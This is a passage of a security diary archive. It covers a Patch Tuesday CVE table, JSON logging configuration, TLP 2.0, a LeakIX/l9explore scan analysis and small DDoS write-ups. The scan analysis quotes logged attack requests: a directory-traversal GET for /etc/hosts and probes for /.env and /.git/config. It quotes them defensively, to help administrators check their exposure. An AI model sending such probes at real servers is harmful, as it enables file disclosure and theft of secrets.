%%cve:2022-35814%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35789%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35815%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35790%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35816%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35817%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35791%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35818%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2022-35819%% No No Less Likely Less Likely Important 6.5 5.9
Azure Site Recovery Remote Code Execution Vulnerability
%%cve:2022-35772%% No No Less Likely Less Likely Important 7.2 6.3
%%cve:2022-35824%% No No Less Likely Less Likely Important 7.2 6.3
Azure Sphere Information Disclosure Vulnerability
%%cve:2022-35821%% No No Less Likely Less Likely Important 4.4 4.0
CERT/CC: CVE-2022-34301 Eurosoft Boot Loader Bypass
%%cve:2022-34301%% No No More Likely More Likely Important    
CERT/CC: CVE-2022-34302 New Horizon Data Systems Inc Boot Loader Bypass
%%cve:2022-34302%% No No More Likely More Likely Important    
CERT/CC: CVE-20220-34303 Crypto Pro Boot Loader Bypass
%%cve:2022-34303%% No No More Likely More Likely Important    
Chromium: CVE-2022-2603 Use after free in Omnibox
%%cve:2022-2603%% No No - - -    
Chromium: CVE-2022-2604 Use after free in Safe Browsing
%%cve:2022-2604%% No No - - -    
Chromium: CVE-2022-2605 Out of bounds read in Dawn
%%cve:2022-2605%% No No - - -    
Chromium: CVE-2022-2606 Use after free in Managed devices API
%%cve:2022-2606%% No No - - -    
Chromium: CVE-2022-2610 Insufficient policy enforcement in Background Fetch
%%cve:2022-2610%% No No - - -    
Chromium: CVE-2022-2611 Inappropriate implementation in Fullscreen API
%%cve:2022-2611%% No No - - -    
Chromium: CVE-2022-2612 Side-channel information leakage in Keyboard input
%%cve:2022-2612%% No No - - -    
Chromium: CVE-2022-2614 Use after free in Sign-In Flow
%%cve:2022-2614%% No No - - -    
Chromium: CVE-2022-2615 Insufficient policy enforcement in Cookies
%%cve:2022-2615%% No No - - -    
Chromium: CVE-2022-2616 Inappropriate implementation in Extensions API
%%cve:2022-2616%% No No - - -    
Chromium: CVE-2022-2617 Use after free in Extensions API
%%cve:2022-2617%% No No - - -    
Chromium: CVE-2022-2618 Insufficient validation of untrusted input in Internals
%%cve:2022-2618%% No No - - -    
Chromium: CVE-2022-2619 Insufficient validation of untrusted input in Settings
%%cve:2022-2619%% No No - - -    
Chromium: CVE-2022-2621 Use after free in Extensions
%%cve:2022-2621%% No No - - -    
Chromium: CVE-2022-2622 Insufficient validation of untrusted input in Safe Browsing
%%cve:2022-2622%% No No - - -    
Chromium: CVE-2022-2623 Use after free in Offline
%%cve:2022-2623%% No No - - -    
Chromium: CVE-2022-2624 Heap buffer overflow in PDF
%%cve:2022-2624%% No No - - -    
HTTP.sys Denial of Service Vulnerability
%%cve:2022-35748%% No No More Likely More Likely Important 7.5 6.5
Microsoft ATA Port Driver Elevation of Privilege Vulnerability
%%cve:2022-35760%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability
%%cve:2022-35796%% No No Less Likely Less Likely Low 7.5 6.5
Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability
%%cve:2022-33636%% No No Less Likely Less Likely Moderate 8.3 7.2
Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability
%%cve:2022-33649%% No No Less Likely Less Likely Important 9.6 8.3
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2022-33648%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Excel Security Feature Bypass Vulnerability
%%cve:2022-33631%% No No Less Likely Less Likely Important 7.3 6.4
Microsoft Exchange Information Disclosure Vulnerability
%%cve:2022-21979%% No No Less Likely Less Likely Important 4.8 4.2
%%cve:2022-30134%% Yes No Unlikely Unlikely Important 7.6 6.6
%%cve:2022-34692%% No No Less Likely Less Likely Important 5.3 4.6
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2022-21980%% No No More Likely More Likely Critical 8.0 7.0
%%cve:2022-24516%% No No More Likely More Likely Critical 8.0 7.0
%%cve:2022-24477%% No No More Likely More Likely Critical 8.0 7.0
Microsoft Office Remote Code Execution Vulnerability
%%cve:2022-34717%% No No Less Likely Less Likely Important 8.8 7.7
Microsoft Outlook Denial of Service Vulnerability
%%cve:2022-35742%% No No Less Likely Less Likely Important 7.5 6.5
Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability
%%cve:2022-34713%% Yes Yes More Likely More Likely Important 7.8 7.2
%%cve:2022-35743%% No No More Likely More Likely Important 7.8 7.0
SMB Client and Server Remote Code Execution Vulnerability
%%cve:2022-35804%% No No More Likely More Likely Critical 8.8 7.7
Storage Spaces Direct Elevation of Privilege Vulnerability
%%cve:2022-35762%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2022-35763%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2022-35764%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2022-35765%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2022-35792%% No No Less Likely Less Likely Important 7.8 6.8
System Center Operations Manager: Open Management Infrastructure (OMI) Elevation of Privilege Vulnerability
%%cve:2022-33640%% No No Less Likely Less Likely Important 7.8 7.0
Unified Write Filter Elevation of Privilege Vulnerability
%%cve:2022-35754%% No No Less Likely Less Likely Important 6.7 5.8
Visual Studio Remote Code Execution Vulnerability
%%cve:2022-35777%% No No Less Likely Less Likely Important 8.8 7.9
%%cve:2022-35825%% No No Less Likely Less Likely Important 8.8 7.9
%%cve:2022-35826%% No No Less Likely Less Likely Important 8.8 7.9
%%cve:2022-35827%% No No Less Likely Less Likely Important 8.8 7.9
Win32k Elevation of Privilege Vulnerability
%%cve:2022-35750%% No No More Likely More Likely Important 7.8 6.8
Windows Bluetooth Driver Elevation of Privilege Vulnerability
%%cve:2022-35820%% No No More Likely More Likely Important 7.8 6.8
Windows Bluetooth Service Remote Code Execution Vulnerability
%%cve:2022-30144%% No No Less Likely Less Likely Important 7.5 6.5
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
%%cve:2022-35757%% No No Less Likely Less Likely Important 7.3 6.4
Windows Defender Credential Guard Elevation of Privilege Vulnerability
%%cve:2022-34705%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2022-35771%% No No Less Likely Less Likely Important 7.8 6.8
Windows Defender Credential Guard Information Disclosure Vulnerability
%%cve:2022-34710%% No No Less Likely Less Likely Important 5.5 4.8
%%cve:2022-34712%% No No Less Likely Less Likely Important 5.5 4.8
%%cve:2022-34704%% No No Less Likely Less Likely Important 5.5 4.8
Windows Defender Credential Guard Security Feature Bypass Vulnerability
%%cve:2022-34709%% No No Less Likely Less Likely Important 6.0 5.2
Windows Digital Media Receiver Elevation of Privilege Vulnerability
%%cve:2022-35746%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2022-35749%% No No Less Likely Less Likely Important 7.8 6.8
Windows Error Reporting Service Elevation of Privilege Vulnerability
%%cve:2022-35795%% No No Less Likely Less Likely Important 7.8 6.8
Windows Fax Service Elevation of Privilege Vulnerability
%%cve:2022-34690%% No No Less Likely Less Likely Important 7.1 6.2
Windows Hello Security Feature Bypass Vulnerability
%%cve:2022-35797%% No No Less Likely Less Likely Important 6.1 5.3
Windows Hyper-V Elevation of Privilege Vulnerability
%%cve:2022-35751%% No No More Likely More Likely Important 7.8 6.8
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2022-34696%% No No Less Likely Less Likely Critical 7.8 6.8
Windows Kerberos Elevation of Privilege Vulnerability
%%cve:2022-35756%% No No More Likely More Likely Important 7.8 6.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2022-34707%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2022-35761%% No No More Likely More Likely Important 8.4 7.3
%%cve:2022-35768%% No No Less Likely Less Likely Important 7.8 6.8
Windows Kernel Information Disclosure Vulnerability
%%cve:2022-30197%% No No Less Likely Less Likely Important 5.5 4.8
%%cve:2022-34708%% No No Less Likely Less Likely Important 5.5 4.8
Windows Kernel Memory Information Disclosure Vulnerability
%%cve:2022-35758%% No No Less Likely Less Likely Important 5.5 4.8
Windows Local Security Authority (LSA) Denial of Service Vulnerability
%%cve:2022-35759%% No No Less Likely Less Likely Important 6.5 5.7
Windows Local Security Authority (LSA) Elevation of Privilege Vulnerability
%%cve:2022-34706%% No No Less Likely Less Likely Important 7.8 6.8
Windows Network File System Remote Code Execution Vulnerability
%%cve:2022-34715%% No No Less Likely Less Likely Important 9.8 8.5
Windows Partition Management Driver Elevation of Privilege Vulnerability
%%cve:2022-33670%% No No More Likely More Likely Important 7.8 6.8
%%cve:2022-34703%% No No More Likely More Likely Important 7.8 6.8
Windows Point-to-Point Protocol (PPP) Denial of Service Vulnerability
%%cve:2022-35747%% No No Less Likely Less Likely Important 5.9 5.2
%%cve:2022-35769%% No No Less Likely Less Likely Important 7.5 6.5
Windows Point-to-Point Protocol (PPP) Remote Code Execution Vulnerability
%%cve:2022-30133%% No No Less Likely Less Likely Critical 9.8 8.5
%%cve:2022-35744%% No No Less Likely Less Likely Critical 9.8 8.5
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2022-35755%% No No More Likely More Likely Important 7.3 6.4
%%cve:2022-35793%% No No More Likely More Likely Important 7.3 6.4
Windows Secure Socket Tunneling Protocol (SSTP) Denial of Service Vulnerability
%%cve:2022-34701%% No No Less Likely Less Likely Important 5.3 4.6
Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability
%%cve:2022-34714%% No No Less Likely Less Likely Critical 8.1 7.1
%%cve:2022-35745%% No No Less Likely Less Likely Critical 8.1 7.1
%%cve:2022-35752%% No No Less Likely Less Likely Critical 8.1 7.1
%%cve:2022-35753%% No No Less Likely Less Likely Critical 8.1 7.1
%%cve:2022-34702%% No No Less Likely Less Likely Critical 8.1 7.1
%%cve:2022-35766%% No No Less Likely Less Likely Critical 8.1 7.1
%%cve:2022-35767%% No No Less Likely Less Likely Critical 8.1 7.1
%%cve:2022-35794%% No No Less Likely Less Likely Critical 8.1 7.1
Windows WebBrowser Control Remote Code Execution Vulnerability
%%cve:2022-30194%% No No Less Likely Less Likely Important 7.5 6.5
Windows Win32k Elevation of Privilege Vulnerability
%%cve:2022-34699%% No No More Likely More Likely Important 7.8 6.8

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

0 Comments

Published: 2022-08-08

JSON All the Logs!

My recent obsession has been creating all of my logs in JSON format. The reasons for that are pretty simple: I like to log with Elasticsearch, so creating JSON formatted logs makes working with Elasticsearch easier. Command line tools like 'jq' make parsing JSON logs on the command line simpler than "good old" standard Syslog format and a string of 'cut,' 'sed,' and 'awk' commands. 

Before going into examples, first a few caveats when it comes to creating JSON logs:

Proper Output Encoding

Make sure you properly encode special characters in JSON. For example, characters like '{, ''},' quotes, slashes, and such need to be escaped. Some log generation tools will do it for you (see examples below)

Proper and Consistent Types

This comes down to quotes or no quotes around numbers. If you want a value to be treated as a number: Do not enclose it in quotes. But if a value isn't always a number (consider what happens if the field doesn't exist), it should be enclosed in quotes. For example, port numbers are... usually... numbers. But what if it is an ICMP packet and there are no ports? Or, let's say a firewall log showing a fragment that isn't the first fragment getting blocked? I have seen people use "0" as a port, which works, but can lead to confusion.

Consistent Names

Downstream processing is a lot easier if the source IP address is always called "srcip" (or whatever name you come up with). This will reduce the effort needed to normalize naming later. Of course, depending on the software originating the logs, you do not always have a choice.

Your Downstream Log Processing Pipeline

I mentioned Elasticsearch above, and it loves JSON. But many systems process logs and yours may not be ready to process JSON. Converting from JSON to the format of choice may still be more straightforward than writing hundreds of different Logstash rules, but if you are already set up for whatever format you use, the change may not be worth it.

Creating JSON logs can be pretty simple, depending on your software. Here are a few examples:

Nginx

The Nginx web server has a helper function to escape JSON properly. To output logs in JSON format, use something like this:

log_format main escape=json '{"host": $http_host", "srcip": "$remote_addr", time_local": "$time_local", "request": "$request" ...}';

Apache

Apache uses a similar log format directive. But there is no simple JSON escape. I have to test Apache a bit more to see if it will escape various characters appropriately.

LogFormat "{ \"time\":\"%t\", \"srcip\":\"%a\", \"host\":\"%V\", \"request\":\"%U\", \"query\":\"%q\",...}" json

rsyslog

Recent versions of rsyslog do support JSON encoded logs. You will have to define a custom template like:

template(name="outfmt" type="list" option.jsonf="on") {
   property(outname="@timestamp"
                  name="timereported"
                  dateFormat="rfc3339" format="jsonf")
         property(outname="host"
                  name="hostname" format="jsonf")
         property(outname="severity"
                  name="syslogseverity-text" caseConversion="upper" format="jsonf")
         property(outname="facility"
                  name="syslogfacility-text" format="jsonf")
         property(outname="syslog-tag"
                  name="syslogtag" format="jsonf")
         property(outname="source"
                  name="app-name" format="jsonf")
         property(outname="message"
                  name="msg" format="jsonf")
}

see: https://rainer.gerhards.net/2018/02/simplifying-rsyslog-json-generation.html

Python

For any software written in Python, there is a JSON-logging module (see https://pypi.org/project/json-logging/ )

Bind

For the Bind name server, I only found limited JSON support in the statistics channel. It is an optional feature (with XML being another option)

see: https://bind9.readthedocs.io/en/latest/chapter10.html?highlight=json#optional-features

Missing Pieces

So far, the two items I am missing the most are firewall logs (BSD or iptables/nftalbes) and Postfix or other mail servers. Got any other tricks? Let us know.

[comments are sadly not working right now. Hope to have them back today/tomorrow]

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

 

0 Comments

Published: 2022-08-04

TLP 2.0 is here

Earlier this week, the global Forum of Incident Response and Security Teams – or FIRST, as it is commonly known – published a new version of its Traffic Light Protocol standard[1]. The Traffic Light Protocol (TLP) is commonly used in the incident response community, as well as in the wider security space, to quickly and in a standardized way indicate any limitations on further sharing of any transferred information.

Since different organizations and security teams around the world use differing (and not necessarily compatible) standards for information classification, it can be difficult to quickly share any sensitive information with anyone outside the organization without also appending the entire information classification standards of the source organization that specifies how/whether the recipient may use and further share the information. This is where the TLP comes in and why it is quite valuable, since it provides everyone with a common, easy to understand and easy to use information classification scheme. One only has to indicate (in an e-mail subject, on a first slide of a presentation or document, in spoken exchange, …) that the information that is about to be shared has specific TLP label, and the recipient should be able to immediately understand how they may use it and with whom (if anyone) they may share it.

The new version of the standard brings several important changes, the most visible one having to do with the classification labels. In its previous iteration[2], the TLP consisted of the following four labels that governed how the transferred information may be shared:

  • TLP: WHITE – Disclosure of information is not limited
  • TLP: GREEN – Limited disclosure, recipients can spread information within their community
  • TLP: AMBER – Limited disclosure of information, restricted to participants’ organizations only
  • TLP: RED – Not for disclosure, information restricted to exchange participants only

In the 2.0 version of the standard, TLP: WHITE has been renamed TLP: CLEAR and a new TLP: AMBER+STRICT label was added. Some changes have also been made to the definitions and the overall language as well as to some other minor areas, which should help minimize any uncertainty in the meaning of different labels.

You may find the entire standard on the FIRST website, but in general, the new classification basically gives the following meaning to each of the labels.

If you use TLP in your daily activities, it would be advisable to start using its new iteration as soon as possible, since the 2.0 version of the standard is now considered authoritative.

[1] https://www.first.org/tlp/
[2] https://www.first.org/tlp/v1/

-----------
Jan Kopriva
@jk0pr
Nettles Consulting

0 Comments

Published: 2022-08-03

l9explore and LeakIX Internet wide recon scans.

Earlier today, I noticed a scan for an odd set of vulnerabilities from

Apache directory traversal issue
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts HTTP/1.1

 

Looking for secrets/fingerprinting
GET /config.json HTTP/1.1
GET /.DS_Store HTTP/1.1
GET /.env HTTP/1.1
GET /.git/config HTTP/1.1
GET / HTTP/1.1
GET /idx_config/ HTTP/1.1
GET /info.php HTTP/1.1
GET /.json HTTP/1.1
GET /login.action HTTP/1.1
GET /server-status HTTP/1.1
GET /s/lkx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1
GET /telescope/requests HTTP/1.1

 

Connecting to a non-TLS server with TLS
\x16\x03\x01

Based on these URLs, I would call this more "fingerprinting" or "vulnerability discovery" and less so an actual exploit, even though you may argue that this will, of course, set the attacker up for exploits, in particular, if sensitive secrets are leaked in the configuration files. Some of them are oddly specific, like the directory traversal attempt. 

So far, I have found three different IPs scanning "the internet" for these URLs:

%%ip:34.65.197.10%% (Google Cloud)
%%ip:134.122.112.12%% (probe-ny001.rand0.leakix.org, Digitalocean)
%%ip:185.162.235.162%% (NovinVPS)

All requests used the same user agent: l9explore/1.2.2. This user agent, like the second IP address in the list above, is associated with the internet scanning platform Leakix. The scanner itself is open source, so possibly the other IPs just run it outside of Leakix. But it maybe a user agent to add to a blocklist to keep the noise down on your systems. Also review that you are not exposing any sensitive information via the URLs listed above. Leakix isn't the only one scanning for them.

IP addresses associated with LeakIX can be found in our "research" feed:


https://isc.sans.edu/api/threatcategory/research/?json. (for all researchers scanning the internet)
https://isc.sans.edu//api/threatlist/leakix?json (just leakix)

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-08-02

Increase in Chinese "Hacktivism" Attacks

With the US Speaker of the House, Nancy Pelosi, approaching an unusually high-level visit to China, various reports indicate an increase in military saber-rattling and a ramp-up of attacks against networks in Taiwan and the US.

So far, we have more anecdotal evidence vs. "real data." But some of the initial indicators we have seen:

  •  A slight increase in scans for "nuisance vulnerabilities" like Word Press from Chinese consumer IP addresses.
  • Reports of small/medium application-specific DDoS attacks similar to what our site has seen starting Friday
  • A small (not quite significant based on preliminary data) increase in ssh scanning from Chinese consumer IP addresses.

Chinese hacktivists have a history of picking up on government sentiment communicated in local news reports [1]. They will often show their patriotism by attacking various "unfriendly" websites. The targets are often somewhat random, and the attacks are not coordinated. But even a home user with a small botnet can harness significant "firepower" to take down many websites without dedicated DDoS protection. And, of course, sometimes they get lucky scanning for simple vulnerabilities. If a few million (probably more than a few thousand) "kids" are brute forcing passwords, they may just get lucky and find one.

What do you need to do?

Not much at this point. Monitor and be ready for a DDoS attack. In particular, if your website or company has a higher profile in China or is associated with the US government (this includes contractors, related organizations, and news sites reporting about the visit).

For example, the Taiwan president's website experienced a DDoS attack of approximately 200 times the regular traffic [2]. I do not consider this a "huge" attack and something likely within the capabilities of a few hacktivists getting together. A more organized "government-sponsored" DDoS attack would likely involve tools like "Great Cannon" (sometimes also called red-ion-cannon) that can harness a much larger attack power [3].

Please use our "contact us" form to report any attacks you are seeing.

[1]  https://scholarworks.lib.csusb.edu/cgi/viewcontent.cgi?referer=https://www.google.com/&httpsredir=1&article=1413&context=etd
[2] https://m.facebook.com/story.php?story_fbid=pfbid0oetXRVEQ2dj7Vd1kTzC32FhdMLdyuoQJAYf6baYJDghKKVCBMERfUgXhP72U4obVl&id=100044311095166&m_entstream_source=timeline
[3] https://citizenlab.ca/2015/04/chinas-great-cannon/

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-08-02

A Little DDoS in the Morning - Followup

I love it when people read and learn from what I am writing here. And it looks like whoever is behind the little DDoS from Friday did just that. I removed our filters yesterday after the attack stopped, and today see similar traffic ... but... now with different user agents ;-). At this point, the traffic isn't causing any performance issues, so I will let them go for now.

Here is a small sample of user agents involved. The disadvantage for them is now that some of these User-Agents are so unusual that they again easily stick out. The source IPs are still all Chinese. FWIW: I got some questions if the source IPs could be spoofed: No. They are sending complete HTTP requests, so they are not spoofed. But they could be some kind of proxy on compromised machines/devices.

Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36
Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36
Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320)

I feel like this will become a little series of posts.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-08-01

A Little DDoS In the Morning

Friday morning (at least it wasn't Friday afternoon), we got an alert that our database and web servers exceeded the expected load. Sometimes, this "happens." Often it is just some user innocently flooding our API with requests. We do use quite a bit of caching and such for requests, but it can happen that things pile up at the wrong time. So I took a look at the logs. In these cases, I first look at the top IPs sending requests to our API. The first IP that stood out was %ip:137.189.8.184%%. At the time, it had sent about 6,000 requests in 3 hrs. Nothing that would typically cause problems. But the requests themselves didn't make much sense. A small sample:

GET /api/ip/2001:14ba:1f8:c600:94ab:7958:3347:1faa?json HTTP/1.1
GET /api/ip/2001:14ba:7ff:d00:3575:c285:aaaf:4c5e?json HTTP/1.1
GET /api/ip/2001:14bb:150:2f72:7d26:2f5:b2f9:490a?json HTTP/1.1
GET /api/ip/2001:14bb:150:2f72:88c3:36b3:c5b8:507a?json HTTP/1.1
GET /api/ip/2001:14bb:150:2f72:d1f:d7cc:d8b4:6e36?json HTTP/1.1
GET /api/ip/2001:14bb:150:2f72:f196:6cce:b08e:ec1b?json HTTP/1.1
GET /api/ip/2001:14bb:170:ca0:4ca1:cc47:9f4f:5f9f?json HTTP/1.1
GET /api/ip/2001:14bb:170:ca0:901d:76cb:f861:67f4?json HTTP/1.1
GET /api/ip/2001:14bb:170:ca0:a4e7:9ed:8b8f:b8e?json HTTP/1.1

This API endpoint doesn't offer IPv6 data. We do not have enough IPv6 data yet to make this work well. Secondly, it looks like they are "scanning" random IPv6 addresses. There were likely a few more gazillion queries coming to complete this scan. In other words: This will take a while and doesn't make much sense. The user-agent they used curl/7.29.0pointed to a script and didn't comply with our guidelines. So I started by blocking this IP address, but the load on our systems remained high. 

So I started to look at other logs and ran into a flood of requests for https://dshield.org/ipinfo.html. These requests went to dshield.org, not isc.sans.edu, but both sites share the same backend. 

This is where things got a bit more interesting. A quick sample of the logs again:

124.94.188.217, /ipinfo.html?ip=0.25.231.227
59.58.87.149, /ipinfo.html?ip=0.25.232.38
183.164.240.168, /ipinfo.html?ip=0.25.232.18
175.43.172.240, /ipinfo.html?ip=0.25.232.15
114.106.137.211, /ipinfo.html?ip=0.25.232.44
49.85.188.200, /ipinfo.html?ip=0.25.231.222
106.110.200.27, /ipinfo.html?ip=0.25.232.46
183.166.125.155, /ipinfo.html?ip=0.25.232.13
27.156.185.139, /ipinfo.html?ip=0.25.232.40
27.156.211.146, /ipinfo.html?ip=0.25.232.41

This snapshot is after the attack was in progress for a while. The IP addresses appeared to be incrementing. Targeting "ipinfo.html" was likely because this is one of our slower pages. It is even slower if you hit random non-existing IPs. All requests used the same user agent again:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36

The user agent looks normal for a slightly older version of Google Chrome. So nothing unusual. By spreading the requests over multiple IPs, it was more challenging to identify the offending requests, but the user-agent was helpful. Looking at the signature of requests to ipinfo.html from this user agent, we counted about 2 million requests against dshield.org but less than 100 against the same URL at isc.sans.edu, the more popular website. So we got a culprit.

More than 100k source IPs participated in the attack. But the most requests we got from a particular IP address were about 350. So there was no clear "winner" to block easily. But looking at the IP addresses, I noticed they came from the same subnets. Summarizing by /16s, only 506 subnets remained. And some of them originated a significant number of requests. 117.69/16 was the most active network, followed by 27.156/16.

Based on whois data:

117.64.0.0 - 117.71.255.255: China Telecom
27.156.0.0 - 27.156.127.255: Broadband network, the city of fuzhou domain, Fujian Province

It turned out the requests causing problems originated exclusively from China. So I started blocking requests from China in our proxy/waf that protects DShield. The load on our servers almost immediately recovered. I already had country lookups configured on the server. We are using Nginx as a proxy, and blocking by country is pretty straightforward:

First, load the geoip_country lookup with data from Maxmind

geoip_country /usr/share/GeoIP/GeoIP.dat;

next, set an "$allowed_country" variable based on the country of origin returned by the country lookup (this will make it easier to block multiple countries)

map $geoip_country_code $allowed_country {
         default yes;
         CN no;
}

Finally, as part of the location directive, return an error if the country is not allowed

location / {
          if ($allowed_country = no) {
                return 444;
          }
...

(I started with 666, but figured for China, 444 is more appropriate).

How much traffic was it overall? Here is a quick graph of the traffic over the weekend from our proxy:

Graph of DDoS traffic from Friday July 29th to Monday August 1st.

Note how it all stopped this morning. Likely whoever started it came into work and noticed the attack no longer having any effect. I will keep you updated as to what we see next.

Lessons learned:

  • Always nice to have a few scripts ready to summarize your logs quickly. Either on the command line or in your fancy log monitoring system. 
  • Often, you need to make a quick decision to block an attack accepting some false positives but allowing most of your traffic to succeed. It buys you time and breathing room to find a more specific block.
  • I'm not too fond of country-level blocks. But in this case, it kept things going again, and we will remove the block soon after the attack stops.

Some final words:

  • This was not a significant DDoS attack. It was pretty small. In the end, you have to "buy your way out of a DDoS attack." For DShield.org, I am willing to accept a bit of downtime like this if I can learn from it.
  • Who was behind this attack? I have no idea. All requests came from China. But this could be Chinese hacktivists or just "for the LOLs."
  • Were there > 100k systems attacking us? I doubt it. The rate was too low for 100k systems. A lot of the IPs were mobile systems. I suspect they had very dynamic IP addresses, and some devices may show up with multiple IP addresses. My best guess is that these were infected mobile gateways. We see a lot of Mirai-like activity against systems like this. But who knows? I haven't had a chance to look into this closer.
  • Am I giving away too much by writing this up? I doubt it, and our mission is to share information and to educate. You do not hear much about these little nuisance DDoS attacks in the news, but they are a big problem for many small businesses.

For a write-up about a more interesting Chinese DDoS in the past, see this attack that involved the Chinese Great Firewall.

[our comments are currently broken, unrelated to the topic of this post. We will have them back shortly. You can reach us via our "Contact Us" form.]

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments